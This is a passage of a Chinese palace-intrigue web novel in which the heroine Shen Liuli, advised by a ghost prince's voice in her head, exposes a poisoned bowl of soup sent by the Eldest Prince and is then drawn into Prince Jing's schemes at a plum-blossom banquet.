“给大皇子送礼?”
忠叔和春桃的反应,几乎是如出一辙。两人瞪大了眼睛,面面相觑,都从对方的眼神里看到了同一个念头,自家小姐是不是被关傻了?
“小姐,您没说胡话吧?”春桃第一个没忍住,她凑上前,小心翼翼地伸出手,想探一探沈琉璃的额头,“您是不是这几天没休息好,发烧了?现在大皇子恨不得把我们抽筋扒皮,我们不躲着他就不错了,怎么还上赶着去送礼?这不是黄自投罗网吗?”
“胡闹!”君北玄的声音,更是在沈琉璃的脑海中响起,“沈琉璃,你到底想做什么?!你疯了吗?!大敌当前,你不思如何破敌,竟要去向敌人摇尾乞怜?!本王的脸都被你丢尽了!”
面对自己人的集体质疑,沈琉璃却显得异常平静。她没有急于解释,而是缓缓地走到书案前,铺开了一张空白的宣纸。
“忠叔,”她一边研着墨,一边头也不抬地吩咐道,“您现在立刻去一趟‘玲珑坊’,将我们之前为‘揽月楼’定制的那套‘金镶玉’牌九,给取过来。”
“小姐,您要那个做什么?”忠叔满心困惑。
“自然是当‘礼物’。”沈琉璃抬起头,嘴角勾起一抹笑容,“另外,我还要亲自为大皇子殿下,写一封‘问安’的信。”
这番操作,更是让在场的所有人都看不懂了。
“本**白了!”君北玄的声音,忽然在她脑中响起,语气里充满了恍然大悟后的愤怒,“你这是要投降!你要用那套**去讨好李裕,用那封信去向他求饶!沈琉璃,本王真是看错你了!我君北玄宁可魂飞魄散,也绝不与此等软骨头为伍!”
“王爷,”沈琉璃被他这番“慷慨激昂”的言辞给气笑了,她在心里没好气地回了一句,“您能不能别总用您那套‘不是你死就是我亡’的思想来思考问题?我承认,我确实是在‘求和’,但有时候,最猛烈的进攻,恰恰就是用最谦卑的姿态递出去的。”
她没有再理会脑中那个暴跳如雷的鬼王爷,而是提笔蘸饱了墨,在那张洁白的宣纸上,写下了一封措辞极尽谦卑的信。
信中,她只字未提与案情有关的话题,只是用一种惶恐不安的语气写道,自己身陷囹圄,日夜忧思,唯恐因自己的事情,牵连甚广,最终影响到大皇子殿下的清誉。
听闻殿下近日为国事操劳,心力交瘁,特献上拙作一件,以博殿下一笑,万望殿下莫要因小人谗言而伤了龙体。
落款是“民女,沈琉璃,泣血叩首”。
这封信,配上那枚价值连城的“金镶玉”牌九,任谁看了,都会觉得这是一个走投无路的弱女子,在向胜利者献上的降书。
第64章 惊鸿一瞥
半个时辰后,大皇子府,书房。
当李裕看到这份由靖亲王府特许送出来的礼物时,他先是一愣,随即,便发出了畅快淋漓的大笑。
“哈哈哈哈!好!好一个‘民女’!”他将那封信,重重地拍在桌上,“看来,这个**终于是撑不住了,知道跟孤求饶了!”
“殿下英明。”一旁的幕僚,连忙上前谄媚道,“此女虽然有几分小聪明,但在殿下您的雷霆手段面前,终究不过是螳臂当车。如今她主动示弱,想来是怕了。”
“怕?”李裕冷笑一声,他拿起那枚冰凉温润的玉石牌九,在手中反复把玩,“她现在才知道怕,晚了!”
“殿下,”那幕僚眼珠一转,压低声音道,“依微臣之见,这或许也是一个机会。她既然想求和,必然是想保住自己的性命。我们何不将计就计,假意应承于她,将她约出王府,届时……”
他做了一个“咔嚓”的手势,眼中闪过了一抹狠戾。
然而,李裕却缓缓地摇了摇头。
“不必那么麻烦。”他将那枚牌九,随手扔在了桌上,仿佛那不是什么价值连城的宝物,而是一件无足轻重的垃圾。
“一个将死之人罢了,也配让孤费这等心思?”他看着窗外,那轮即将落下的夕阳,眼中闪过了毫不掩饰的杀意,“告诉下面的人,计划不变。今夜子时,孤要听到,沈琉璃‘病故’于听竹苑的消息。”
“是!”
……
忠叔在送出那份“大礼”后,便立刻返回了靖亲王府。
他没有再回听竹苑,而是按照沈琉璃的指示,径直走到了靖亲王的书房外,对着守门的护卫,声泪俱下地“喊冤”。
他状告的,不是别人,正是自家小姐沈琉璃。
“王爷!王爷您要为我们沈家做主啊!”他“噗通”一声跪倒在地,哭得老泪纵横,“我家小姐她,她竟然背着我们,偷偷地给大皇子送礼求和去了!她这是要将我们整个尚书府,都拖入万劫不复的深渊啊!”
他这番操作,不仅让守门的护卫看傻了眼,更是让闻讯赶来的秦姑姑,也愣在了当场。
这……这是什么路数?
自家的管家,状告自家的小姐?
消息,很快便传到了靖亲王的书房。
彼时,靖亲王正与安王李宗霖,对坐弈棋。
当他听完下人的汇报后,那双捻着佛珠的手,不易察觉地微微一顿。
“哦?”他抬起眼皮,看了一眼身旁的安王,淡淡地说道,“看来,这盘棋倒是越来越有趣了。”
安王李宗霖捻起一枚黑子,轻轻地落在棋盘上,脸上挂着悲天悯人的微笑:“皇兄说笑了。依本王看,那沈家丫头,不过是走投无路之下,行的一步险棋罢了。女儿家的心思,终究是上不了台面。”
靖亲王没有再说话,只是将目光重新投向了眼前这盘,早已陷入僵局的棋。
……
夜,渐深。
听竹苑内,一片死寂。
春桃早已吓得躲在被子里,瑟瑟发抖。而沈琉璃,则独自一人坐在窗前,静静地等待着。
她在等,等李裕的那把刀。
“你到底在等什么?”君北玄的声音,在她脑海中响起,充满了不解,“你费了这么大劲,又是送礼,又是让你家管家去演戏,到底想做什么?难道你真的以为,凭这些上不得台面的小伎俩,就能让李裕放过你?”
“我当然不指望他能放过我。”沈琉璃在心里,平静地回应,“我只是在给他,送去一把能让他自己杀死自己的刀。”
“什么意思?”
“王爷,您还不明白吗?”沈琉璃微笑着说道,“我送去的‘礼物’,从来都不是给李裕看的,我是送给靖亲王看的。”
“我就是要让靖亲王知道,我沈琉璃已经被逼到了绝路,甚至不惜要去向自己的死对头摇尾乞怜。如此一来,他便会对我这个‘可怜’的棋子放松警惕。”
“而我真正要等的,就是李裕的这把‘刀’!”
“只要他敢动手,只要那‘牵机’之毒,出现在这听竹苑中。那么,我这个‘受害者’,便能立刻变成指证他‘在王府内行凶’的人证!”
“届时,人证物证俱在,便是靖亲王再想和稀泥,也绝不可能为了包庇一个,敢在他眼皮子底下**的储君,而赌上自己一世的清誉!”
君北玄沉默了。
他不得不承认,这个女人的计谋,一环扣一环,狠辣无比!
她竟是要用自己的命来做赌注!赌的,就是靖亲王那份,属于皇室宗亲的骄傲!
子时,终于到了。
一阵极其轻微的“叩叩”声,从听竹苑的房门外响起。
春桃吓得,猛地从被子里钻了出来。
“谁……谁啊?”她颤抖着问道。
“春桃姑娘,是我。”门外,传来了秦姑姑那温和的声音,“夜深了,王爷担心二位着凉,特意命老奴送了些安神的银耳羹来。”
来了!
沈琉璃的心,猛地一紧!
她对着春桃,使了个眼色。
春桃会意,虽然双腿还在发抖,但还是壮着胆子,打开了房门。
只见秦姑姑端着一个托盘,脸上挂着温和的笑容,缓缓地走了进来。
“沈小姐,还没歇下呢?”她将托盘上的两碗银耳羹,放在了桌上,看似随意地说道,“这银耳羹,是王爷的私厨,用天山雪莲和百年老参,熬制了整整三个时辰的,最是滋补,您快趁热喝了吧。”
她的每一个动作,每一句话,都显得那么地天衣无缝。
可沈琉璃却能清晰地闻到,在那股香甜的气味下,隐藏着一股极淡的杏仁味。
正是那“牵机”之毒!
“多谢姑姑,也多谢王爷挂念。”沈琉璃站起身,脸上露出了一个感激的笑容。
她端起那碗“银耳羹”,在秦姑姑的注视下,缓缓地送到了自己的唇边。
春桃的心早已提到了嗓子眼,她躲在角落里,死死地用手捂住自己的嘴。
“喝下去。”
“不,别喝!”
两个截然不同的声音,同时在沈琉璃的脑海中
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响起。
一个是她自己的声音,另一个则是君北玄的怒吼。
“沈琉璃!你疯了吗?!这是‘牵机’!不是你之前遇到的那些寻常**,此毒入喉,神仙难救!你拿什么赌?!”君北玄的声音里,充满了前所未有的急切,“这不是勇敢,这是**!”
他那雷霆般的怒吼,如同一盆冰水,将沈琉璃有些发热的头脑,瞬间浇得清醒。
是啊……她凭什么赌?凭顾九能配出解药?还是凭靖亲王会及时出现?
君北玄说得对,一个合格的棋手,绝不会在还有选择的时候,将自己变成一枚弃子。
“王爷,您说的对。”她在心里,平静地回应,“可若是我不喝,秦姑姑只会说是我无理取闹,届时死无对证,我们便失去了这唯一的机会。”
“那就创造一个机会!”君北玄的思维快如闪电,“一个让她百口莫辩,一个让所有人都相信这是‘意外’的机会!”
“意外?”
“没错!”君北玄迅速地为她规划着,“你现在要做的,是表演!演一个身心俱疲、体力不支的柔弱女子,因为‘虚弱’而失手!”
“不仅要失手,还要让这碗**,自己‘开口说话’!”
一个大胆的计划,在这一人一鬼的脑海中,瞬间成型!
沈琉璃缓缓地抬起眼帘,端起碗,迎着秦姑姑充满“关切”的目光,缓缓地将碗送到了自己的唇边。
就在碗沿即将触碰到她嘴唇的瞬间,沈琉璃端着碗的手,忽然抖了一下。
“哎呀!”
她发出一声短促的惊呼,整个人像是被抽去了所有力气,猛地向前一软!
“哐当——!”
一声清脆的碎裂声,在寂静的夜里,显得格外刺耳。
那碗盛着“牵机”之毒的银耳羹,竟被她“失手”打翻在地!温热的汤汁混合着名贵的雪莲和参片,溅得到处都是,一片狼藉。
“小……小姐!”春桃第一个反应了过来,她连滚带爬地冲上前,一把扶住摇摇欲坠的沈琉璃,声音里带着哭腔,“您怎么了?您别吓我啊!”
沈琉璃靠在春桃的怀里,脸色惨白,看起来竟是楚楚可怜。
“我……我没事……”她摇着头,声音虚弱得像一片羽毛,“只是这几日受了惊吓,身子有些发软,竟连一碗羹都端不稳了……”
她抬起头,看着脸色铁青的秦姑姑,眼中充满了愧疚与惶恐。
“姑姑,对不起!我不是故意的……”她哽咽着说道,“王爷的赏赐,竟被我这个不中用的身体给糟蹋了,您罚我吧……”
她这番表演,堪称完美。
将一个身陷囹圄、心力交瘁的柔弱少女形象,刻画得入木三分。
“这……这演技……”在沈琉璃的脑海中,君北玄那暴怒的声音,竟也因为眼前这戏剧性的一幕,而出现了短暂的卡壳,“本王承认,若是把你放到军营里,你绝对是那个最能骗取敌人信任的斥候。”
“多谢王爷夸奖。”沈琉璃在心里,有气无力地回了一句。
第65章 一碗银耳羹
秦姑姑的脸色,在经历了最初的错愕后,也迅速地恢复了正常。她深吸一口气,脸上重新挤出了一个温和的笑容。
“沈小姐说的这是哪里话。”她走上前,亲自将沈琉璃扶起,柔声安慰道,“不过是一碗羹罢了,人没事就好。想来是小姐您这几日太过劳累了,老奴这就命人再为您熬一碗便是。”
她的应对,同样是天衣无缝。
仿佛,刚才那碗被打碎的,真的只是一碗普普通通的银耳羹。
“来人,”她对着门外,扬声吩咐道,“还不快进来,把这里收拾干净!”
两名早已等候在外的侍女,立刻推门而入,手脚麻利地开始收拾地上的狼藉。
眼看,这场无声的杀机,就要被这几块碎瓷片,给掩盖得干干净净。
然而,沈琉璃又岂会让她如愿?
“哎呀!”
就在一名侍女,将一块最大的瓷片捡起来的时候,春桃忽然发出一声痛呼!
只见她的手指,竟被那锋利的瓷片边缘,给划开了一道细小的口子,殷红的血珠,瞬间便冒了出来。
“春桃!”沈琉璃“大惊失色”,连忙抓过她的手,紧张地查看起来。
而那滴血珠,也恰好在此时,滴落在了地上那滩尚未完全干涸的银耳羹里。
奇特的一幕,发生了。
只见那滴鲜红的血液,在接触到银耳羹的瞬间,竟像是滴入了滚油的冷水,发出了极其轻微的“滋滋”声!
紧接着,那滩原本呈淡黄色的汤汁,竟以肉眼可见的速度,迅速地变成了一种诡异的暗紫色!
这个变化,极其细微。
若非仔细观察,根本无法察觉。
“咦?”沈琉璃看着地上的变化,脸上露出了几分困惑,“姑姑,您快看,这是怎么回事呀?为何这羹汤,遇到了血,竟会变了颜色?”
秦姑姑的心,猛地一沉!
她怎么也没想到,这“牵机”之毒,竟还有此等特性!
“许是……许是这地砖的颜色,映衬的吧。”她强作镇定地解释道,“小姐您不必担心,不过是些寻常的污渍罢了,待会儿擦干净便好。”
“是吗?”沈琉璃歪着头,一副天真无邪的模样看着秦姑姑。
“可我怎么记得,我母亲生前曾与我说过,这世上有些奇特的草药,药性相冲,若是遇到了血,便会产生异变呢。”她一边说,一边将目光,投向了桌上那碗,原本为春桃准备,此刻还完好无损的银耳羹。
“姑姑,”她用一种充满了“求知欲”的语气,笑着问道,“您说,我们若是再取一滴血,滴入这碗完好的羹汤里,它会不会也变成紫色呀?”
这句话,如同一道惊雷,在秦姑姑的脑海中炸响!
她知道,自己已经没有退路了!
“沈小姐说笑了。”她的声音,已经带上了几分不易察觉的颤抖,“王爷赏赐的东西,岂能如此儿戏……”
“怎么会是儿戏呢?”沈琉璃打断了她,“我只是好奇罢了。再说了,若这羹汤真的有问题,那我们岂不是等于,提前为王爷试出了这件赏赐的瑕疵?这可是大功一件啊。”
她顿了顿,环顾四周,最终将目光落在了窗外那只,正在竹枝上“啾啾”鸣叫的麻雀身上。
“姑姑,”她指着那只麻雀,笑着说道,“要不,我们请这位‘小客人’,来帮我们尝一尝?若是它喝了没事,那便证明是琉璃多心了,琉璃自当向您,向王爷请罪。”
“可若是……”
她没有把话说完,但那未尽之意,溢于言表!
秦姑姑的后背,早已被冷汗浸透。
她看着眼前这个略显柔弱的少女,只觉得她比地狱里的恶鬼还要可怕!
若真按她所说,自己今夜怕是走不出这听竹苑了。
就在这剑拔**张,一触即发的时刻!
一个苍老而又充满了威严的声音,忽然从院门外,缓缓地传了进来。
“不必那么麻烦了。”
“那碗羹,就让本王来替你们尝一尝吧。”
是靖亲王!
靖亲王的声音不高,他背着手,从院门外缓缓踱步而入。
他没有穿王袍,只着一身素净的常服,可他身上那股不怒自威的气场,却比任何华服都更令人感到压迫。
“王……王爷……”
秦姑姑脸上的血色,在一瞬间褪得干干净净。
她“噗通”一声跪倒在地,身体抖如筛糠,连一句完整的话都说不出来。
她怎么也没想到,这位深居简出的主子,竟会在此刻,亲临此地。
靖亲王没有看她,甚至没有看沈琉璃。他的目光,只是平静地落在了桌上那碗银耳羹上。
“怎么?”他缓缓开口,声音听不出喜怒,“本王听闻,你们正在为这碗羹汤争执不休。既然如此,那便由本王来当这个试毒的人,岂不最是公允?”
他说着,竟真的伸出手,端起了那碗足以致命的**。
“王爷!使不得!”
秦姑姑发出一声凄厉的尖叫,连滚带爬地扑上前,死死地抱住了靖亲王的大腿,“此物万万碰不得啊!”
她知道,自己完了。
若是沈琉璃**,她尚有一线生机。可若是靖亲王在这里出了半点差池,那便是诛九族的大罪,谁也救不了她!
“哦?”靖亲王低头看着她,“你不是说,这是本王赏赐的吗?为何又碰不得了?”
“奴婢……奴婢该死!奴婢罪该万死!”秦姑姑的心理防线,在这一刻彻底崩溃,她将头重重地磕在冰冷的地砖上,声泪俱下地哭喊道,“是奴婢一时糊涂,受了小人蒙蔽!求王爷饶命,饶了奴婢这条狗命吧!”
“小
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人?”靖亲王不为所动,只是淡淡地问道,“哪个小人啊?”
“是……是……”秦姑姑的眼中,闪过了一抹挣扎。
然而,就在此时,沈琉璃却忽然开了口。
“王爷,”她缓缓地站起身,对着靖亲王盈盈一拜,“此事或许与秦姑姑无关。”
她这话一出,不仅是秦姑姑,就连她脑海中的君北玄,都愣住了。
“你疯了吗?!”君北玄的声音,充满了不解,“这个老太婆已经准备招了,你为何要替她开脱?!”
“王爷,您不懂。”沈琉璃在心里,平静地回应,“一条被逼到绝路的狗,固然会咬人。但一条,看到了生机,又被人递上了刀子的狗,才会咬得更狠。”
她没有再理会脑中的鬼王爷,继续说道:“琉璃斗胆猜测,姑姑她或许也是身不由己。毕竟,在这都城中,能让她这位王府的总管,都不得不听命行事的人,怕是也屈指可可数吧?”
她顿了顿,话锋一转。
“琉璃只是想不明白,到底是何人,竟有如此大的胆子,敢在王爷您的府邸内行凶?这简直是不把您,不把整个皇室的颜面,放在眼里啊!”
她这番话,看似是在为秦姑姑开脱,实则却是字字诛心!
她巧妙地将这件事,从“私人恩怨”上升到了“有人在挑衅王室权威”的高度!
果然,靖亲王在听完她这番话后,眼眸深处,闪过了一抹冰冷的寒光。
他缓缓地将那碗毒羹,重新放回了桌上。
“秦姑姑,”他看着脚下那个抖如筛糠的女人,声音平静得可怕,“本王再给你最后一次机会。”
“说吧,到底是谁?”
秦姑姑的身体,剧烈地颤抖了起来。她知道,自己已经没有退路了。
她猛地抬起头,嘶声力竭地喊道:“是大皇子!是大皇子殿下逼我的!”
她将大皇子府的幕僚,是如何找到她,又是如何用她远在边关戍边的独子性命来要挟她,逼她做此事的经过,一五一十地和盘托出!
“王爷明鉴!”她哭喊道,“奴婢若是不从,我儿他便要死于蛮族之手啊!奴婢也是被逼无奈,求王爷开恩,求王爷开恩啊!”
真相,至此,大白于天下!
然而,靖亲王在听完这一切后,脸上却没有半分意外。仿佛,这个答案早已在他的意料之中。
他只是缓缓地闭上了眼睛,捻动着手中的佛珠,许久,才对着门外淡淡地吩咐道:“来人。”
“将秦姑姑带下去,好生看管。”他特意在“看管”二字上加重了语气,“在事情查明之前,不准她见任何人,也不准她**。”
话音落下,他便不再看那个早已瘫软如泥的女人,而是将目光重新投向了沈琉璃。
“丫头,”他缓缓开口,“你随本王来。”
第66章 出府的机会
穿过一条幽静的回廊,靖亲王始终一言不发,那份沉默本身,就是一种无形的重压。
最终,他将沈琉璃带到了一处临水小榭。这里三面临水,视野开阔,能将大半个王府的夜景尽收眼底。
夜风微凉,吹动着小榭四周的纱幔,也吹动着沈琉璃那颗剧烈跳动的心。
“坐吧。”靖亲王在一张石桌旁坐下,亲自为她斟上了一杯热茶。
茶香袅袅,暂时冲淡了空气中那股凝重的气氛。
“丫头,”靖亲王看着她,开门见山,“今夜之事,你似乎一点也不意外。”
“回王爷,”沈琉璃端起茶杯,用杯盖轻轻撇去浮沫,“琉璃只是没想到,大皇子殿下的刀,会来得这么快、这么急。”
“哼,那不是刀,是毒。”君北玄在她脑中冷哼一声,“一个只敢在背后用下三滥手段的懦夫,也配用刀?”
“你既然早已料到,为何还要设下此局?”靖亲王继续问道,“你就不怕,本王今夜没有出现吗?”
“怕。”沈琉璃坦然地承认,“但琉璃更怕,自己会无声无息地消失在这听竹苑中。与其坐以待毙,不如放手一搏。”
她抬起头,迎上了靖亲王的眼睛。
“琉璃知道,王爷您将我软禁于此,并非真的想置我于死地。您只是想看一出戏,一出由我,由大皇子,由三皇子共同上演的大戏。您想看看,我们这些小辈,到底谁才有资格,成为您棋盘上,那枚最有价值的棋子。”
“所以,”她的声音,变得无比坚定,“琉璃今夜,便将这出戏唱给您看。”
“我就是要让您亲眼看看,您的好侄儿,为了赢下这盘棋,已经不择手段到了何种地步!他不仅敢在您的王府内行凶,更是将您这位皇叔的颜面,视若无物!”
这番话,如同一柄重锤,狠狠地砸在了靖亲王的心上!
他捻动佛珠的动作,猛地一顿!
“好一个伶牙俐齿的丫头。”许久,他才缓缓开口,声音里听不出喜怒,“你赢了,你成功地让本王对裕儿彻底失望了。”
“可你别忘了,”他话锋一转,眼神变得锐利起来,“你虽然暂时安全了,但你也同样,将自己逼入了绝境。你一日留在我这王府,便一日是那活靶子。裕儿他杀你之心已决,下一次,他派来的或许就不是一个端着**的奴婢,而是一支足以踏平听竹苑的死士了。”
沈琉璃的心,猛地一紧。
她知道,靖亲王说的是事实。
“所以,”她深吸一口气,“琉璃恳请王爷,放我出府。”
“放你出府?”靖亲王笑了笑,“丫头,你是不是忘了,你现在还是‘谋逆’的钦犯?本王若是就这么放了你,岂不是在告诉所有人,本王与你早已串通一气?”
“那王爷的意思是?”
“本王的意思是,”靖亲王缓缓地站起身,走到小榭的栏杆旁,望着远处那片沉沉的夜色,“这盘棋,既然已经开局,那便不能半途而废。”
“本王,可以给你一个出府的机会。”他的声音,变得无比幽冷,“但不是放你走。”
“而是要你,替本王去做一把刀。”
“一把,能将这盘棋局之外的所有威胁,都清理干净的刀。”
他说着,便从怀中,取出了一份早已准备好的卷宗,放在了沈琉璃的面前。
“三日后,”他缓缓说道,“安王叔要在他的别院,举办一场‘赏梅宴’,邀请了所有在京的皇室宗亲。届时,本王会寻个由头,让你也一同前往。”
“而你要做的,就是在宴会上,将这份‘礼物’,亲手送到李昭的手上。”
沈琉璃疑惑地打开卷宗,只看了一眼,她的瞳孔便骤然收缩!
那上面,没有写任何罪状,只画着一幅极其精细的地图和几个栩栩如生的人像。
正是那家,早已被一把火烧成白地的“悦来客栈”!以及,客栈掌柜一家七口的画像!
而在地图的背面,还用朱砂,清晰地标注出了几处可疑的地方!
“这是……”
“这是本王,给你的投名状。”靖亲王看着她,缓缓说道,“也是本王,给你的一次考验。”
“你若能让李昭相信,这份东西是你的人查出来的。那么,本王便信你,有资格成为本王的盟友。”
“可你若是办砸了……”他没有把话说完,但那未尽之意,却比任何威胁都更令人感到寒冷。
沈琉璃看着手中这份,足以将大皇子李裕彻底钉死的铁证,心中掀起了滔天巨浪。
她知道,自己没有拒绝的余地。从她踏出这间小榭的那一刻起,她便成了靖亲王手中,一把指向乾国储君之争的刀。
当沈琉璃重新回到听竹苑时,春桃立刻迎了上来。
“小姐!您可算回来了!”她焦急地拉着沈琉璃的手,上下打量着,“那个老王爷没把您怎么样吧?他有没有对您用刑?我听说王府的地牢里……”
“我没事。”沈琉璃打断了她,声音里带着一丝疲惫。
她将那份卷宗小心翼翼地收入袖中,随即在石桌旁坐下。
“没事就好,没事就好。”春桃拍着胸口,长长地舒了一口气,随即又好奇地问道:“那王爷他找您去做什么呀?是不是准备放我们回去了?”
“算是吧。”沈琉璃看着她,缓缓说道,“他给了我一个出府的机会。”
“真的?!”春桃的眼睛瞬间亮了。
“他要让你去送死!”君北玄的声音,充满了毫不掩饰的怒意,“这个老狐狸,远比李裕要阴险得多!李裕想杀你,至少还会自己动手。而他,却是想借你的手,去点燃他侄子们的战火,自己则坐山观虎斗!你一旦失手,他会第一个站出来,将你清理得干干净净!”
“王爷,您说的这些,我都明白。”沈琉璃在心里,平静地回应,“可您也该明白,我们现在已经没有别的选择了。靖亲王给的这把刀,虽然烫手,却是我们离开这座囚笼的唯一钥匙。”
“那也不能由你亲自去!”君北玄的语气不容置疑,“这是斥候的活!让狼卫去!他们比你专业!你一个手无缚鸡之力的女人,跑到那种地方去,跟一只兔子闯进狼窝有什么区别?!”
“王爷,您又来了。”沈琉璃简直哭笑不得,“我再说一遍,安王府的赏梅宴,是宴会,不是军营!狼卫
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若是去了,他们那身藏不住的杀气,怕是隔着三里地都能被人闻出来。您是想让他去送东西,还是想让他去告诉所有人,我们这里有刺客?”
“那也不能是你!”君北玄寸步不让,“你忘了,那个二皇子李昭,也不是什么善类!他心思深沉,城府极深,你以为他会那么轻易地相信你?”
“我自然不指望他能轻易相信我。”沈琉璃说道,“所以,我才更要亲自去。我要让他亲眼看看,我这个被他大哥逼得走投无路的盟友,是何等的真诚,又是何等的可怜。”
“演戏?”
“不,这叫‘角色扮演’。”沈琉璃在心里,得意地笑道,“我要扮演的,是一个手握致命证据,却又不知道该如何使用的蠢货。我要让他觉得,我这把刀虽然锋利,却很好用,甚至可以为他所用。只有这样,他才会放下戒备,心甘情愿地接过我递过去的这把刀。”
君北玄沉默了。
他发现,自己根本无法用正常的逻辑,去理解这个女人的思维方式。她的战场,不在刀光剑影之间,而在人心向背上。
……
接下来的两日,听竹苑内风平浪静。
沈琉璃每日的生活,还是那般规律,看书、烹茶、与新来的王姑姑闲话家常。仿佛,那夜与靖亲王的密谈从未发生过。
可只有她自己知道,她需要情报。关于安王府的布局,关于赏梅宴的宾客名单,更重要的是关于二皇子李昭的一切。
这日午后,当王姑姑再次送来茶点时,沈琉璃看似随意地,将一枚红宝石耳坠放在了她的手边。
“姑姑,这几日多亏您照顾了。”她笑着说道,“琉璃身无长物,这点小玩意儿,不成敬意。”
王姑姑看着那枚,在阳光下流光溢彩,价值不菲的耳坠,眼中闪过了一抹贪婪。
“沈小姐,这如何使得……”她嘴上推辞着,手却很诚实地将耳坠收了起来。
“王姑姑,”沈琉璃看着她,轻声说道,“后日,王爷恩典,许我随他一同前往安王府赴宴。只是,琉璃久居深闺,对这皇室的宴会规矩,实在是不甚了解。不知姑姑可否,为我指点一二?也好让我,不至于在人前失了王爷的体面。”
她这番话,说得极其谦卑,将自己的姿态放得极低。
王姑姑听完,心中那点戒备也放下了大半。在她看来,这不过是一个即将重获自由的少女,在向自己讨教一些无足轻重的礼仪罢了。
“小姐放心,”她笑着说道,“不过是些寻常的宴饮,您只需跟在王爷身边,少说多看便是了。”
话虽如此,在接下来的一个时辰里,她还是在沈琉璃的引导下,将安王府的布局、赏梅宴的流程,乃至二皇子李昭平日里的喜好和禁忌,都说了个七七八八。
“……二殿下他啊,为人最是清雅,不喜奢华。平日里最大的爱好,便是品读一些前朝的孤本。听说,他最近正在寻一本,早已失传的《南华医经》,只可惜,此书早已绝迹,便是连宫中的藏书阁也寻不到呢。”
说者无心,听者有意。
沈琉璃在听到“南华医经”这四个字时,心中猛地一动!
第67章 安王府的赏梅宴
安王府赏梅宴,如期而至。
这一日,都城中所有叫得上名号的皇室宗亲,都齐聚于安王的别院中。
园内,千树梅花,傲雪凌霜,美不胜收。
当靖亲王的车驾,缓缓抵达时,早已等候在门口的安王李宗霖,亲自上前相迎。
“皇兄,您可算来了。”安王脸上挂着慈祥的笑容。
“嗯。”靖亲王只是淡淡地点了点头,随即侧身,对着身后的马车说了一句,“丫头,下来吧。”
在所有人惊疑不定的目光中,沈琉璃身着一身素雅的月白色衣裙,从马车上缓缓地走了下来。
她的出现,瞬间在人群中,引起了讨论。
“她……她怎么会在这里?!”
“她不是被王爷软禁了吗?”
大皇子李裕看着这个,本该被他置于死地的女人,此刻竟安然无恙地出现在这里,更是大感震惊。
而站在人群另一侧的二皇子李昭,在看到沈琉璃的那一刻,眼眸中也闪过了一抹不易察觉的精光。
沈琉璃没有理会周围人的目光,她只是安静地跟在靖亲王的身后,像一个乖巧的晚辈。
宴席上,她更是将“低调”二字,发挥到了极致。
她不与任何人交谈,只是安静地坐在自己的位置上,浅尝着面前的茶点,仿佛对周围的一切都漠不关心。
“你到底想做什么?”君北玄在她脑中,也充满了困惑,“你若是再不行动,这场宴会可就要结束了!”
“王爷,您别急。”沈琉璃在心里,神秘一笑,“好戏,现在才刚刚开始。”
就在宴席进行到一半,众人开始移步园中,赏梅作诗的时候。
沈琉璃“不慎”将手中的茶杯,打翻在地。温热的茶水,尽数洒在了她的裙摆上。
“哎呀,小姐!”春桃立刻“惊呼”一声,连忙上前为她擦拭。
“无妨。”沈琉璃站起身,对着主位上的安王,歉意地福了一福,“王叔,琉璃失仪了,想去稍作整理。”
“去吧。”安王点了点头。
沈琉璃便在春桃的搀扶下,朝着后院的方向走去。
然而,她们并没有去整理服饰,而是在一个无人的拐角处,悄无声息地改变了方向,朝着一个院落,快步走去。
那里是二皇子李昭,今日被安排,临时歇脚的书房。
而她怀中藏着的,正是一本《南华医经》!
“小姐,您走慢点。”春桃提心吊胆地扶着她,一边警惕地环顾四周,一边压低声音道,“这要是被人看见了,咱们可就说不清了。私会皇子,这罪名可比在王府里下毒还大呢!”
“放心,”沈琉璃的脚步没有半分停顿,“越是这种地方,才越是安全。所有人的注意力都在前院的诗会上,谁会想到,我这个‘钦犯’竟敢跑到这里来?”
“哼,妇人家的侥幸心理。”君北玄的声音,在她脑海中适时地响起,“战场上,任何单独行动,都必须有周密的撤退路线和接应方案。你现在两眼一抹黑就往里闯,跟送人头有什么区别?”
“王爷,您说的对。”沈琉璃在心里,不紧不慢地回应,“可您是不是忘了,有时候,最出其不意的进攻,就是最好的防御。”她顿了顿,语气里带上了几分狡黠,“再说了,我这不还有您在吗?若真有危险,您提前示警便是了。”
君北玄被她这记不轻不重的马屁拍得,竟一时语塞,只是冷哼了一声,便不再讲话。
静思斋外,只有一名小太监,正百无聊赖地守在门口打着瞌睡。
春桃上前,轻咳一声。那小太监被惊醒,看到眼前两位陌生的女子,先是一愣,随即脸上便露出了警惕的神情。
“二位是?”
“这位是尚书府的沈大小姐。”春桃按照事先排练好的说辞,不卑不亢地说道,“我家小姐方才在宴席上不慎污了衣裙,听闻此处清净,特来借一隅之地,稍作整理,还望公公行个方便。”
那小太监一听是沈琉璃,眼中闪过了一抹复杂的神色。显然,关于这位“钦犯”的事,早已传遍了整个都城。
他正要开口拒绝,春桃已将一个分量不轻的荷包,悄无声息地塞进了他的手里。
“公公放心,我家小姐稍作整理便会离去,绝不会惊扰任何人。”
那小太监掂了掂荷包的重量,脸上的警惕立刻化为了谄媚的笑容。
“原来是沈大小姐,失敬失敬。”他躬身让开了路,“殿下他正在前院陪王爷们赏梅,一时半会儿也回不来。小姐您请自便,若有需要,吩咐奴才一声便是。”
沈琉璃对着他微微颔首,便带着春桃推门而入。
书房内的陈设,清雅到了极致,没有多余的装饰,只有一排排散发着墨香的书架,一张古朴的紫檀木书案,以及一架看起来有些年头的七弦琴。
“太干净了。”君北玄在她脑中,用一种挑剔的语气评价道,“一个人的书房,就是他内心的写照。此地一尘不染,所有东西都摆放得井井有条,说明此人城府极深,心思缜密到了可怕的地步。你待会儿跟他说话,最好小心一点,这种人往往一句话里能藏着七八个陷阱。”
“知道了,将军。”沈琉璃在心里应了一句,随即开始执行她的计划。
她走到书案前,将那本早已备好的《南华医经》,从宽大的袖中取出,轻轻地放在了一摞书卷的最底下。
她的动作,行云流水,不着痕跡。
“好了,我们走。”
然而,就在她准备带着春桃,功成身退的时候。
一个温润的声音,忽然从她们身后,不紧不慢地响了起来。
“沈大小姐,既然来了,何不多坐片刻,品一杯安王叔私藏的雪顶梅茶再走?”
沈琉璃的身体,猛地一僵!
她缓缓地转过身,只见二皇子李昭,不知何时竟已出现在了门口。他的脸上,挂着温和的笑容。
他竟提前回来了!
春桃早已是吓得面无人色,双腿一软,几乎要当场跪下。
而沈琉璃,在经历了最初的震惊后,却迅速地冷静了下来。她对着李昭,盈盈一拜,脸上露出了充满歉意的表
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情。
“二殿下。”她怯生生地说道,“我只是……”
“只是不慎污了衣裙,想借孤此处稍作整理,对吗?”李昭笑着接过了她的话,缓步走了进来。
